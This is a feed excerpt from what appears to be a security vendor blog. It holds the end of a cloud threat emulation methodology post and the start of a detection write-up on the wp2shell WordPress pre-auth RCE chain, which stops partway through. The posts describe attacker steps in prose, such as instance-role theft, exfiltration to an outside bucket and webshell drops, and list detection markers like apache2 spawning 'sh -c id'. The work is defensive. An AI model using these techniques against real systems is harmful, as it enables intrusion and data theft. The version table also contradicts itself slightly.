engineering force different habits. Part 2 will cover agents, skills, and AI executing it in practice. We know boring stuff first sucks. Do it anyway. Context and breakdown come before an ambitious agent gets anywhere useful.</p><h2>What cloud threat emulation actually requires</h2><p></p><ul><li><p>Emulation is plan-first: objectives, threat model, victim model, operational flow, then execution.</p></li><li><p>Scope in layers: atomic, micro, or full; same lifecycle, different depth.</p></li><li><p>Start from a compromised identity. Admin sessions and out-of-order API calls produce pretty demos and bad detection data.</p></li><li><p>Telemetry and coverage are outputs that you verify, not assumptions that you write rules against.</p></li><li><p>Automation can remove repetitive work. Engineers still own realism and assumptions, in addition to whether a detection is worth shipping.</p></li></ul><h2>Where practice usually stalls</h2><p>In theory it's a short loop: research, plan, run, observe, and improve. Center for Threat-Informed Defense (CTID) plans, atomic tests, and report-derived flows all say that. In cloud the middle gets fuzzy.</p><p></p><p>Starting point varies. Off-the-shelf tool aimed at a tenant, colorful CLI, cool ASCII art, done. Or a tool that scaffolds infra and chains toward a micro or full plan. Or last quarter's script, half-finished Terraform, manual CLI after a report. The shapes differ, but the stall is the same. Most of the day is still spent on victim and threat modeling, then proving the result was useful for detection.</p><p></p><p>Tools that stop at detonation leave you with an attack fired off and not enough said about what landed in the logs, whether logging was on. They also don’t tell you whether the behavior is detectable. And that is after the tedious part. A break-glass account, the right compromised identity, assumed network settings from thin blogs, data worth stealing, logging actually configured. A tool might spare you some clicking. It rarely spares you proper planning. Don't get us started on virtual networks where resources talk to each other…successfully.</p><p></p><p>Then the attack, and it lasts about four minutes. The field name isn't what you remembered, and the coverage board still looks green. Then the detection question arrives with the batteries already flat.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6563e0f64eb4c356/6aad16f2a81298839ee3eb85/meme.png" alt="Meme reacting to a cloud detection rule that never fires because the CloudTrail field name was wrong" /><p>Public practice isn't wrong. Cloud detection engineering just needs the same plan-first discipline that public practice uses, plus extras cloud makes non-optional: victim realism, threat modeling, IAM progression, telemetry verification, coverage triage, and cleanup that can fail closed. Without it, your emulations will either lack actual meaning/context or be in-accurate to the intended behavior you want to capture telemetry for.</p><h2>A cloud threat emulation methodology</h2><p>We try to treat useful cloud emulation as one lifecycle:</p><p></p><ol><li><p>Define the objective and scope (atomic, micro, or full).</p></li><li><p>Research and threat-model the behavior.</p></li><li><p>Model the victim environment and starting IAM.</p></li><li><p>Build the operational flow.</p></li><li><p>Provision a controlled lab.</p></li><li><p>Execute with context.</p></li><li><p>Verify telemetry against real events.</p></li><li><p>Evaluate detection coverage.</p></li><li><p>Document assumptions and findings.</p></li><li><p>Clean up completely, and then repeat</p></li></ol><p></p><p>The cloud-specific work is making the threat and victim modeling, IAM, environment, telemetry, and teardown first-class instead of afterthoughts.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0d115795af9b72d2/6aad178a92a5870b45ee16ff/cloud-threat-emulation-stages.png" alt="Cloud threat emulation stages: plan, engage, analyze, improve, with coverage outcomes feeding the next plan" /><p>Treat it as a state machine, not a vibe. You cannot execute what you have not deployed. You should not redeploy on top of a half-dead environment. Cleanup has to handle both planned infrastructure and attacker-created leftovers (orphaned resources). After cleanup, redeployment is always valid. Skipping states is how labs get contaminated and findings get soft. Then your telemetry analysis becomes a cauldron of alphanumeric spaghettios with no clear distinction between overlapping emulations.</p><h3>Start with the question and the scope</h3><p>Not every emulation starts the same way. Pick the question, then pick the depth:</p><p></p><p><strong>Mode</strong></p><p><strong>Question</strong></p><p><strong>Typical input</strong></p><p><strong>Intelligence-driven</strong></p><p>Can we reproduce behavior described in public research or a CTID-style plan?</p><p>Blog, advisory, campaign report, emulation plan</p><p><strong>Rule-driven</strong></p><p>Does an existing rule actually fire on the intended behavior?</p><p>Detection rule TOML / query</p><p><strong>Coverage-driven</strong></p><p>Which known techniques do we not currently detect?</p><p>ATT&amp;CK or data-source gap</p><p><strong>Hypothesis-driven</strong></p><p>Could an adversary realistically abuse this service or permission?</p><p>Threat model of a service / IAM pattern</p><p></p><p>We prefer to think in three layers of scope:</p><p></p><ul><li><p><strong>Atomic:</strong> quick and dirty. One technique, one clear signal question.</p></li><li><p><strong>Micro:</strong> more planned. Still missing a larger scope, but it can pull in other resources, especially when chaining one or two behaviors (for example discover &gt; stage &gt; exfil).</p></li><li><p><strong>Full:</strong> larger scope. End-to-end at times, and it can cover multiple planes and surfaces.</p></li></ul><p></p><p>Public libraries map onto this in different ways. <a href="https://github.com/redcanaryco/atomic-red-team">Atomic Red Team</a> lives mostly in the first layer, while <a href="https://github.com/center-for-threat-informed-defense/adversary_emulation_library">CTID</a> micro and full plans sit in the other two. We use the three-layer split because it matches how we actually scope cloud work, not because one repo owns the vocabulary.</p><p></p><p>What changes is the source material and how wide you cast the net; the rest of the lifecycle doesn’t change. Keep it tool-agnostic. The plan is the product, and the tool is optional scaffolding.</p><p></p><p>Intelligence-driven work should stay faithful to the source. Don’t invent victim details that make the demo easier. Rule-driven work is different. The rule tells you API actions and fields, but you often infer identity type, permissions, and environment. Flag those assumptions. Hypothesis-driven work is where judgment matters most. Model what a real adversary would do, almost always from a stolen identity or compromised instance, not portal clicks. All of this is operations-plane API work.</p><h3>Model the threat and the environment first</h3><p>How hard this section is depends on scope.</p><p></p><p>An atomic run of a red-teamer proof of concept (PoC) is often behavior-driven so one technique, one signal question, thin environment. You still need a plan, but you are not rebuilding a hybrid enterprise to prove <code>CreateAccessKey</code> lands in CloudTrail.</p><p></p><p>A micro or full run is different. <a href="https://github.com/center-for-threat-informed-defense/adversary_emulation_library">CTID-style</a> plans, and intelligence-driven writeups of long compromises, force threat modeling and victim accuracy to carry the exercise. If Microsoft or another shop publishes end-to-end research across hybrid Windows, Entra, AD, and M365, skipping environment fidelity is how you get a demo that fires APIs and teaches you almost nothing about detection. The larger the scope, the more variables matter, and the less you can cheat with a god-mode principal that can do everything from step one.</p><p></p><p>Before executing anything, answer the planning questions:</p><p></p><ul><li><p>What is the adversary attempting to achieve?</p></li><li><p>What does the source actually describe (and what is it silent on)?</p></li><li><p>What resources and controls exist in the victim environment?</p></li><li><p>What access path is available at the start, and what has to be earned later?</p></li><li><p>What assumptions are we making about the scenario?</p></li><li><p>Would each action realistically succeed here, or only in a cartoon lab?</p></li></ul><p></p><p>Technically valid commands can still produce unrealistic emulations when the threat model and victim model do not match such as wrong foothold, wrong permissions, wrong resources, wrong controls, wrong network path.</p><p></p><p>Access path is one piece of that model, not the whole model. Micro and full runs usually start from a foothold the scenario allows, not a blank admin session:</p><p></p><p><strong>Foothold type</strong></p><p><strong>What it models</strong></p><p>Stolen long-term credentials</p><p>IAM user keys, service principal secrets, service account keys</p><p>Assumed / escalated role</p><p>STS assumed role, managed identity, IRSA</p><p>Compromised compute</p><p>EC2 instance profile, GKE pod SA, Azure VM managed identity</p><p></p><p>Do not treat the ATT&amp;CK ladder as a script you recite once either. Micro and full emulations are rarely a clean Discovery &gt; Credential Access &gt; Persistence &gt; Escalation &gt; Objectives parade. Tactics repeat, behaviors loop and when something fails, the operator adjusts, and the next move is opportunistic. That is the hard part, and it is also where the useful telemetry lives.</p><p></p><p>End-to-end work makes the dependency problem obvious. You cannot jump to the sexy stage with full admin to everything. Certain steps have to complete, produce an artifact, and unlock the next one. It is not always glamorous. Land on an EC2 instance, enumerate the host, pull the instance role, discover the security group, open egress for a callback port, then move. Failures are part of the model too. A denied call, a missing permission, a control that blocks the path. Real adversaries change the toolset and plan when that happens. Your emulation should too, instead of quietly attaching <code>AdministratorAccess</code> so the blog screenshot stays pretty.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt79a6caf6416a1470/6aad19af11ab88c90a5b9b9e/cloud-adversary-emulation-flow.png" alt="Cloud adversary emulation flow from stolen foothold through discovery, credential access, denials, objectives" /><p>Use only what that stage would have. Do not grant the initial foothold full admin unless the scenario models that. Do not reach for your admin session because it is already open. Same goes for rolling virtual networks with <code>0.0.0.0/0</code> everywhere. It is not realistic. Don't do it. At least we hope it is not realistic. If you like to play in traffic, that is on you.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt51b2eda4ef9b5b36/6aad1a283dd8ca235441bfd1/victim-model-cloud-threat-emulation.png" alt="Victim model for cloud threat emulation: sector profile, logging assumptions, and per-step plausibility check" /><h3>Build a controlled, reproducible lab</h3><p>Before any <code>apply</code>, stop for approval. Present the objective, threat model, victim model, identity model, operational flow, infrastructure needs, and a cost estimate if compute or metered services are involved. That is the cloud version of scope, rules of engagement, and permission to execute. We hope you are not a one-person team so feel free to phone-a-friend for a second set of eyes.</p><p></p><p>Keep the lab disposable on purpose:</p><p></p><ul><li><p>Fully owned research tenants / accounts</p></li><li><p>Consistent provisioning (IaC, frameworks, or scripts)</p></li><li><p>Admin setup separated from adversary execution</p></li><li><p>Dedicated identities and resources per run</p></li><li><p>Everything tracked, including attacker-created leftovers</p></li><li><p>Easy redeploy, complete destroy</p></li></ul><p></p><p>A practical habit is to give every run a unique <strong>emulation tag</strong> (name + short random id, e.g. void-blizzard-a3f8c1) and put it in resource names, identities, session names, and labels. Not the star of the methodology. Useful for keeping concurrent runs from colliding, pulling the right slice of telemetry when races get messy, and finding orphaned leftovers during cleanup.</p><p></p><p>When you do filter later (assuming you already spent time setting up the ingestion), a query can be as simple as:</p>FROM logs-aws.cloudtrail-*
| WHERE @timestamp &gt; NOW() - 1 day
  AND aws.cloudtrail.user_identity.arn LIKE "*void-blizzard-a3f8c1*"<p>That only works if the tag is actually in the ARN string (user name, role name, or STS session name). A resource tag alone will not show up there.</p><p></p><p>On Azure, resource-group (RG) naming helps for Activity Logs. Identity-plane work still needs sign-in and audit telemetry too. Do not pretend one RG filter covers Entra.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfab63eec8e934a4b/6aad1acabf410751662fc6d9/terraform-outputs.png" alt="Terraform outputs tagging every cloud emulation resource with a unique run ID for telemetry and cleanup" /><p>Track two resource classes:</p><p></p><ol><li><p><strong>Provisioned</strong> by Terraform/Ansible. In state. Destroyed with <code>terraform destroy</code>.</p></li><li><p><strong>Orphaned</strong> during execution (backdoor users, keys, topics, role assignments). Not in state. Cleaned up first.</p></li></ol><p></p><p>Always destroy orphans before provisioned resources. Scope Azure work to one resource group per run. Force-destroy storage. Restrict compute inbound access to the engineer’s IP. Never <code>0.0.0.0/0</code> "just for the lab."</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt89169a6a62f1f234/6aad1b5266ee2e7d0f3783e1/meme-orphaned-cloud-resources.png" alt="Meme showing orphaned cloud resources left open after an emulation as an easy target for attackers" /><p>We REALLY want to caution orphaned resources on this, especially as we leverage LLMs. Nothing like an expensive AWS bill as a result of unstaged Kubernetes pods or an unpatched Apache Tomcat server which is now part of a crypto-campaign, rather than your emulation efforts.</p><h2>Execute with context, then trust only the real events</h2><p></p><p>The plan is only as good as the way you run it. You can fire a technique's exact commands and still get an emulation that does not teach you much. Context decides whether it is useful, and it starts upfront with threat modeling and planning. Vague steps produce vague telemetry. Contextual steps produce events you can actually detect against.</p><p></p><p><strong>Vague:</strong> Initial access via user logging in.</p><p></p><p><strong>Contextual:</strong> User opens a link to <code>login.microsoftonline.com</code>, reaches the portal in a browser, attempts login, and hits MFA with Entra ID as the IdP. They are instructed to share the MFA auth code over Teams. MFA is approved. No Conditional Access policies are broken. The adversary takes the auth code and exchanges it with Entra for a refresh token.</p><p></p><p><strong>Vague:</strong> Exfiltrate data from S3.</p><p></p><p><strong>Contextual:</strong> Foothold is an EC2 instance profile for a batch job, not an admin console session. The role can <code>ListBucket</code> / <code>GetObject</code> on <code>prod-analytics</code>. Objects are server‑side encryption with AWS Key Management Service (SSE-KMS), and the role has <code>kms:Decrypt</code> on that customer managed key (CMK). Copy to a same-account staging prefix first, then <code>PutObject</code> to an external bucket the role was mistakenly granted. CloudTrail data events are on for that bucket. Management events alone would miss the <code>GetObject</code> volume that makes the behavior visible.</p><p></p><p>Write the contextual version into the operational flow before you touch a CLI. Call, actor, target, expected result, and what should land in logs. Keep the failures too. A denied permission during recon is often the exact trace a detection should chase.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8c7717b3a721b8c3/6aad1cdb48a68a195a1dad12/cloud-emulation-plan.png" alt="Cloud emulation plan awaiting approval: objective, scope, identity, cost estimate, and operational flow" /><p>Cloud timing matters too. IAM is eventually consistent. Fixed <code>sleep 30</code> makes flaky runs. Poll for new credentials. Use provider waiters. Give logs a settle window before you declare telemetry missing. When you get into the nuances of timing for query language sake, it can be challenging to not only understand but recreate acceptable historic windows.</p><p></p><h3>Treat telemetry as an output of the emulation</h3><p>Do not assume what the cloud recorded. Verify it.</p><p></p><p>Before you detonate, decide which log should capture each step and confirm it is on. A lot of data-access logging ships off. Then open the real events raw. The real event beats the docs, your memory and an engineer who built the schema normalization layer several years ago but took a competitor’s offer and left little documentation. Memory invents field names. A rule written against a name that is almost right never fires. A model does the same thing and sounds more sure of itself.
</p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta2119a21b39e3f00/6aad1d77cbcf2280ba8f3fac/cloud-emulation-timeline.png" alt="Cloud emulation timeline of API calls, identity, an AccessDenied result, and an IAM poll wait before retry" /><p>Look for what is missing too: late, partial, or absent telemetry. Sometimes the technique leaves no useful trace. That is a finding! Knowing something is invisible is worth as much as detecting it. Last check should be “does this data distinguish the attacker from normal activity?”</p><h2>Evaluate coverage against the exercise, not the matrix</h2><p></p><p>An ATT&amp;CK board that is all green is reassuring and often misleading. It counts rules by name and mapping, not by what they do against this telemetry.</p><p></p><p>Throw the exercise's events at your rules and look at what fires and why:</p><p></p><ol><li><p>Rule fires for the right reason. Good.</p></li><li><p>Rule fires on a different link in the chain. Less good.</p></li><li><p>A different rule fires by accident and dies if one detail changes. Weak.</p></li><li><p>A perfectly named, perfectly mapped rule whose query never touches this telemetry. Inventory coverage. Incident silence.</p></li></ol><p></p><p>Then decide the next move. Should you create a new rule, tune, request a missing log, hunt, or investigate more before changing anything. Having a rule per action is not the same thing as reliable detection. Whoever gets that alert at three in the morning also cares about what it does not cover.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4015e461646af082/6aad1e22d1556f174572899f/detection-rule.png" alt="Detection rule written from memory fails while verified raw CloudTrail event fields make the rule fire" /><p></p><h3>Document, clean up, and make it repeatable</h3><p></p><p>You can regenerate a command tomorrow. The reasoning does not come back unless you wrote it down.</p><p></p><p>Capture why that behavior, how you modeled the victim, which identity did what, what worked, what failed, what telemetry appeared, what coverage existed, and what is still open. Assumptions are the part you will need later. When a rule gets noisy, somebody asks what "normal" meant when you wrote it. If nobody wrote that down, the comfortable move is to raise the threshold until it goes quiet. Date environmental claims. Commands age. Reasoning is what you reuse.</p><p></p><p>A useful write-up looks like a short engagement report, not a command diary:</p><p></p><ul><li><p>Objective, scope, and source material</p></li><li><p>Threat model and ATT&amp;CK mapping</p></li><li><p>Victim model and assumptions</p></li><li><p>Operational flow / timeline (action, API call, identity, result)</p></li><li><p>Observations and credential progression</p></li><li><p>Detection opportunities and coverage outcomes</p></li><li><p>Infrastructure summary and cleanup status</p></li><li><p>Recommendations (new rule, tune, hunt, follow-up emulation)</p></li></ul><p></p><p>Cleanup is part of the methodology, not housekeeping. Leftovers can contaminate the next run. Infrastructure in code comes down easily. Attacker-created roles, keys, and grants do not unless you tracked them. Temporary credentials can outlive the role that issued them. Logging you enabled for the exercise has to come back off. Verify by tag, and make sure that check can fail. Keep the plan and the findings. Delete the rest. Worse, you half-ass an emulation with no care about public exposure and security posture, then have to join a call with IR to explain what the purpose of this rogue access point was. Saying “my bad” won’t save you.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltee4de6ae4bd8bb16/6aad1eb211ab883efc5b9bbd/cloud-threat-detection-coverage-triage.png" alt="Cloud threat detection coverage triage: which rules fired, which missed, and where telemetry is absent" /><p></p><h2>Where automation helps, and where judgment stays</h2><p>This is usually the part people skip to. Which is fair. Once the methodology is clear, a lot of the work is repetitive.</p><p></p><p>Automation (including agents and skills) can help with drafting threat and victim models from a report, rule, or plan; provisioning and tagging; executing with the right identity; tracking orphans; verifying telemetry against real events; searching coverage; writing up the run; and verifying cleanup.</p><p></p><p>Engineers still decide whether the scenario is realistic, whether assumptions are sound, whether existing coverage is truly equivalent, which behavior is worth detecting, whether a resulting detection helps customers, and whether the emulation stayed faithful to the original threat. We still strongly believe in human-in-the-loop (HITL) value no matter how much you want to flex new models and tokenmaxxing.</p><p></p><p>The split between automated work and engineer judgment matters. The goal is not to replace threat-informed practice with vibes, and it is not to remove the practitioner. The goal is to make the methodology repeatable in cloud at the pace the problem demands, so human time goes into realism, judgment, and detection quality.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte047e9156d106207/6aad1f0f5ef72da0c4c957ea/cloud-emulation-report.png" alt="Cloud emulation report with dated victim assumptions, action timeline, and tag-based cleanup verification" /><p></p><h2>What's next in Part 2</h2><p>If you made it this far, here’s the important meat between our memes</p><ul><li><p><strong>Start with the question, not the tool.</strong> Define what you are trying to prove first.</p></li><li><p><strong>Pick the right scope.</strong> Atomic, micro, or full depending on the question.</p></li><li><p><strong>Threat model before execution.</strong> Know the adversary objective and source assumptions.</p></li><li><p><strong>Model the victim too.</strong> Resources, controls, identities, and network paths matter.</p></li><li><p><strong>Start from a believable foothold.</strong> Avoid defaulting to admin access.</p></li><li><p><strong>IAM progression matters.</strong> Use only the permissions available at each stage.</p></li><li><p><strong>Respect dependencies.</strong> Earlier actions should realistically unlock later ones.</p></li><li><p><strong>Failures are useful.</strong> Denied or blocked actions can produce valuable telemetry.</p></li><li><p><strong>Build disposable labs.</strong> Make provisioning, isolation, and teardown repeatable.</p></li><li><p><strong>Tag every run.</strong> Unique identifiers simplify telemetry and cleanup.</p></li><li><p><strong>Track attacker-created resources.</strong> IaC will not know about every artifact created during execution.</p></li><li><p><strong>Cleanup is part of the exercise.</strong> Remove leftovers and verify the environment is clean.</p></li><li><p><strong>Context beats API spam.</strong> Define the actor, target, prerequisites, and expected result.</p></li><li><p><strong>Cloud timing matters.</strong> Account for propagation, readiness, and log delays.</p></li><li><p><strong>Telemetry is an output.</strong> Verify what actually lands in the logs.</p></li><li><p><strong>Missing telemetry is a finding.</strong> Invisible or incomplete behavior still teaches you something.</p></li><li><p><strong>Trust the real event.</strong> Do not build detections from remembered field names.</p></li><li><p><strong>Test coverage against the exercise.</strong> ATT&amp;CK mappings alone do not prove detection.</p></li><li><p><strong>A firing rule can still be weak coverage.</strong> Make sure it fired for the intended reason.</p></li><li><p><strong>Not every gap needs a rule.</strong> Sometimes the answer is a tune, hunt, logging change, or more research.</p></li><li><p><strong>Document the reasoning.</strong> Preserve assumptions, identity progression, failures, telemetry, and outcomes.</p></li><li><p><strong>Treat the lab like a state machine.</strong> Run from known-good states and avoid contaminated environments.</p></li><li><p><strong>Automate the repetitive work.</strong> Research, provisioning, execution, telemetry checks, and cleanup can all benefit.</p></li><li><p><strong>Keep human judgment in the loop.</strong> Engineers still own realism, value, and detection quality.</p></li><li><p><strong>The plan is the durable artifact.</strong> Tools change; the methodology and reasoning are what you reuse.</p></li></ul><h2>What Part 2 covers: agents running the emulation lifecycle</h2><p>Part 2 is where this stops being a methodology post. Agents, skills, and concrete runs: turn a research post or rule into a lab, verify what landed in the logs, triage coverage, tear it down. Same lifecycle. Less theory.</p><p></p><p>Emulate responsibly!</p><h2>References</h2><ul><li><p><a href="https://github.com/center-for-threat-informed-defense/adversary_emulation_library">MITRE Center for Threat-Informed Defense: Adversary Emulation Library</a></p></li><li><p><a href="https://ctid.mitre.org/resources/adversary-emulation-library/">CTID Adversary Emulation Library overview</a></p></li><li><p><a href="https://github.com/jesusgavancho/TryHackMe_and_HackTheBox/blob/master/Intro%20to%20Threat%20Emulation.md">TryHackMe / community notes: Intro to Threat Emulation</a></p></li><li><p><a href="https://github.com/redcanaryco/atomic-red-team">Red Canary Atomic Red Team</a> </p></li></ul><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/cloud-threat-emulation-methodology</link>
    <guid isPermaLink="false">cloud-threat-emulation-methodology</guid>
    <category><![CDATA[Detection Engineering]]></category>
    <dc:creator><![CDATA[Terrance DeJesus,Bryan Porras Blanch]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbb8eac75a51a8811/6aad10776ea6414a8541fdc4/cloud-threat-emulation-lifecycle.png" length="0" type="image/png"/>
    <pubDate>Mon, 21 Sep 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[wp2shell hits WordPress: detecting pre-auth RCE from plugin drop to command execution]]></title>
    <description><![CDATA[We ran the wp2shell WordPress RCE chain end-to-end with Elastic Defend. Detection rule walkthrough, IOCs, and hunt guidance.]]></description>
    <content:encoded><![CDATA[<p>On July 17, 2026, <a href="https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core">Searchlight Cyber</a> disclosed <code>wp2shell</code>, a pre-authentication remote code execution chain in WordPress Core (<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-63030">CVE-2026-63030</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-60137">CVE-2026-60137</a>). Proof-of-concept tools hit GitHub within hours. <a href="https://x.com/hash_kitten">hashkitten</a> published the chain after PoCs started circulating, including a write-up of <a href="https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/">how the bug was found</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb24abaca3078fd55/6a7d8722e02fac4e075d35b8/image6.png" alt="Tweet from hashkitten announcing the Searchlight Cyber wp2shell research" title="Tweet from hashkitten announcing the Searchlight Cyber wp2shell research methodology and exploit chain blog post, July 2026" /></p>
<p>Scanning followed immediately, and we are already seeing the same host footprint in customer telemetry: PHP and web server runtimes spawning shells, plugin directories appearing under <code>wp-content/plugins/</code>, and access-log markers from stock tooling.</p>
<p>This post is the defender-facing follow-up. We ran the public <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> end-to-end in a lab with Elastic Defend, traced the attack chain in Kibana, and mapped each stage to the rules that fire. If you are patching and triaging right now, that rule walkthrough is the core of the post. We close with IOCs for quick hunts.</p>
<p>This post covers:</p>
<ul>
<li>What wp2shell is, which versions are exposed, and where to read the full technical breakdown.  </li>
<li>The PoC wave and what live telemetry looks like.  </li>
<li>An end-to-end lab run: PoC execution, the attack chain on disk, and each detection rule that triggers (and why).  </li>
<li>Network and host IOCs to hunt while public tooling is still unchanged.</li>
</ul>
<p>Patch to 7.0.2 or 6.9.5 first. Check exposure at <a href="https://wp2shell.com/">wp2shell.com</a> and treat any internet-facing vulnerable instance as potentially compromised until patched.</p>
<h2 id="scopepublicpocsandobservedlinuxhostbehavior">Scope: public PoCs and observed Linux host behavior</h2>
<p>This post follows publicly available PoCs and the behaviors they produce on a Linux host, in conjunction with telemetry we have observed. Attackers can rename plugins, rewrite payloads, or drop webshells outside the plugin directory (for example, under <code>wp-content/cache/</code>, as <a href="https://isc.sans.edu/forums/diary/WordPress+Exploitation+Underway+CVE202663030/33168/">SANS ISC</a> documented). Hunt the IOCs while they are fresh, but rely on behavioral detection for durability.</p>
<h2 id="whatiswp2shell">What is wp2shell</h2>
<p><code>wp2shell</code> is a pre-authentication exploit chain against WordPress Core's REST <code>batch</code> endpoint (<code>/wp-json/batch/v1</code>, or <code>/?rest_route=/batch/v1</code>). No plugins required.</p>
<p>| WordPress branch | Exposure | Fixed in |
| :---- | :---- | :---- |
| <code>&lt;= 6.8.5</code> | Not affected by the full RCE chain | n/a |
| <code>6.8.0</code> to <code>6.8.5</code> | SQL injection only (no full RCE chain on this branch) | Patch to a non-vulnerable release (6.8.6) |
| <code>6.8.6</code> | Patched / Not vulnerable (SQL injection fixed) | Included in 6.8.6 |
| <code>6.9.0</code> to <code>6.9.4</code> | Full pre-auth RCE chain | 6.9.5 |
| <code>7.0.0</code> to <code>7.0.1</code> | Full pre-auth RCE chain | 7.0.2 |</p>
<p>The bug is a route confusion in WordPress batch handling. When sub-requests inside a batch call get out of sync, a request can be dispatched under the wrong REST handler. Public chains nest batches to bypass method restrictions, then reach a pre-auth SQL injection primitive through query parameters that should not apply on the route they land on. </p>
<p>From there, tooling differs: the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> escalates through a SQLi-to-administrator bridge and plugin upload; other actors drop a webshell straight to disk via SQL <code>INTO OUTFILE</code>. Both end the same way for defenders: attacker-controlled PHP on the host, then command execution through the web stack.</p>
<p>That is the short version. For the full chain, read <a href="https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core">Searchlight Cyber's advisory</a>, their <a href="https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/">methodology write-up</a>, and the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC README</a>. <a href="https://isc.sans.edu/forums/diary/WordPress+Exploitation+Underway+CVE202663030/33168/">SANS ISC</a> captured an in-the-wild SQLi payload if you want raw HTTP context.</p>
<p>The activity maps to <a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application (T1190)</a>, <a href="https://attack.mitre.org/techniques/T1505/003/">Server Software Component: Web Shell (T1505.003)</a>, and <a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter (T1059)</a>.</p>
<h2 id="wp2shellpocsandwhatwereseeingintelemetry">wp2shell PoCs and what we're seeing in telemetry</h2>
<p>Representative public repos appeared within hours of disclosure:</p>
<ul>
<li><a href="https://github.com/Icex0/wp2shell-poc">Icex0/wp2shell-poc</a>  </li>
<li><a href="https://github.com/0xsha/wp2shell">0xsha/wp2shell</a>  </li>
<li><a href="https://github.com/sergiointel/wp2shell-poc">sergiointel/wp2shell-poc</a>  </li>
<li><a href="https://github.com/dinosn/wp2shell-lab">dinosn/wp2shell-lab</a></li>
</ul>
<p>Most drive the same batch entry point. Honeypots and telemetry show a mix of vulnerability scanning and full exploitation. On hosts with Elastic Defend, the post-exploitation picture is consistent:</p>
<ul>
<li><code>httpd</code>, <code>apache2</code>, or <code>php-fpm</code> spawning a shell and running short discovery commands (<code>sh -c id</code> is a common first confirmation).  </li>
<li>New paths under <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code> when the plugin-upload chain is used unchanged.  </li>
<li>Access-log markers such as <code>POST /?rest_route=/batch/v1</code> with <code>User-Agent: wp2shell</code> on stock PoCs.</li>
</ul>
<p>That web-server-to-shell relationship is the durable detection opportunity. PoC-specific strings help for triage, not for long-term coverage.</p>
<h2 id="wp2shelllabwalkthroughfrompocexecutiontoelasticalerts">wp2shell lab walkthrough: from PoC execution to Elastic alerts</h2>
<p>The <a href="https://github.com/Icex0/wp2shell-poc">Icex0 PoC</a> drives the batch SQLi-to-administrator bridge, uploads a plugin-backed webshell, and executes commands through it. Each <code>shell</code> invocation generates a fresh random plugin name (<code>wp2shell_&lt;hex&gt;</code>), so repeated runs produce multiple plugin directories on the same host. That is what you see in the figures: one run may reference <code>wp2shell_6a5566a6</code>, another <code>wp2shell_79b06a80</code> or <code>wp2shell_360866a8</code>. The hex suffix is a fragile IOC; the parent process and command patterns are not.</p>
<p>Every successful run follows the same skeleton:</p>
<ol>
<li><strong>Staging:</strong> <code>apache2</code> (or another technology) writing plugin files  </li>
<li><strong>Execution:</strong> <code>apache2</code> (or another technology) spawning a shell from the plugin working directory.</li>
</ol>
<p>Elastic Defend records both, and the SIEM rules stack on top as commands execute.</p>
<h3 id="wp2shellstagingpluginuploadfileeventsondisk">wp2shell staging: plugin upload file events on disk</h3>
<p>Before any shell alert fires, the file timeline tells the story. The staging sequence is consistent across runs:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt92ad345dc32787a9/6a7d8725c2e914eac1013d4f/image2.png" alt="wp2shell file events staged by apache2 during plugin upload" title="Kibana file event table showing apache2 staging wp2shell plugin files including temp-write-test probes and zip upload" /></p>
<p>In the figure above, we can see the following sequence of events:</p>
<ol>
<li><strong>Write probes:</strong> <code>apache2</code> creates and deletes <code>temp-write-test-*</code> files under <code>wp-content/</code> to confirm the directory is writable.  </li>
<li><strong>Upload staging:</strong> A zip lands under <code>wp-content/uploads/</code> (for example <code>wp2shell_6a5566a6.zip</code>), with a temporary PHP upload file under <code>/tmp/</code>.  </li>
<li><strong>Unpack:</strong> PHP is written under <code>wp-content/upgrade/wp2shell_&lt;hex&gt;/.../wp2shell_&lt;hex&gt;.php</code>.  </li>
<li><strong>Install:</strong> The plugin directory is renamed into <code>wp-content/plugins/wp2shell_&lt;hex&gt;/</code>.</li>
</ol>
<p>All of this is <code>apache2</code> acting as the file writer, which is normal for a WordPress plugin upload but abnormal at this volume and with these filenames on a production site.</p>
<h3 id="alertoverviewwhatfiredduringwp2shellexploitation">Alert overview: what fired during wp2shell exploitation</h3>
<p>Running the PoC end-to-end on <code>wp2shell-lab</code> produced 12 alerts, all as <code>www-data</code> on the same host:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9baf6c1e9d9f6e60/6a7d8728bd21981d06755388/image5.png" alt="wp2shell alert overview after end-to-end PoC run" title="Elastic Security alerts dashboard showing 12 wp2shell alerts across four rules with severity breakdown and alert table" /></p>
